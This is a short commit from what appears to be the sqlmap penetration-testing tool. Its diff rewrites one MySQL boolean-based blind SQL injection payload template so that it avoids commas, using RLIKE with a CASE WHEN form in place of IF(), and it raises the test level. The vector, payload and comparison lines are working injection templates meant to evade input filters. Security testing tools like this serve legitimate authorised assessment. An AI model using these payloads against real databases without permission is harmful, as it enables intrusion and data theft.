Making a comma-less RLIKE payload

nicecai · Oct 10, 2013 · 6305c1e · 6305c1e
1 parent dbaa35f
commit 6305c1e
Showing 1 changed file with 4 additions and 4 deletions.
diff --git a/xml/payloads.xml b/xml/payloads.xml
@@ -719,16 +719,16 @@ Formats:
     <test>
         <title>MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)</title>
         <stype>1</stype>
-        <level>3</level>
+        <level>5</level>
         <risk>1</risk>
         <clause>1,2,3</clause>
         <where>1</where>
-        <vector>RLIKE IF([INFERENCE],[ORIGVALUE],0x28)</vector>
+        <vector>RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))</vector>
         <request>
-            <payload>RLIKE IF([RANDNUM]=[RANDNUM],[ORIGVALUE],0x28)</payload>
+            <payload>RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0x28 END))</payload>
         </request>
         <response>
-            <comparison>RLIKE IF([RANDNUM]=[RANDNUM1],[ORIGVALUE],0x28)</comparison>
+            <comparison>RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0x28 END))</comparison>
         </response>
         <details>
             <dbms>MySQL</dbms>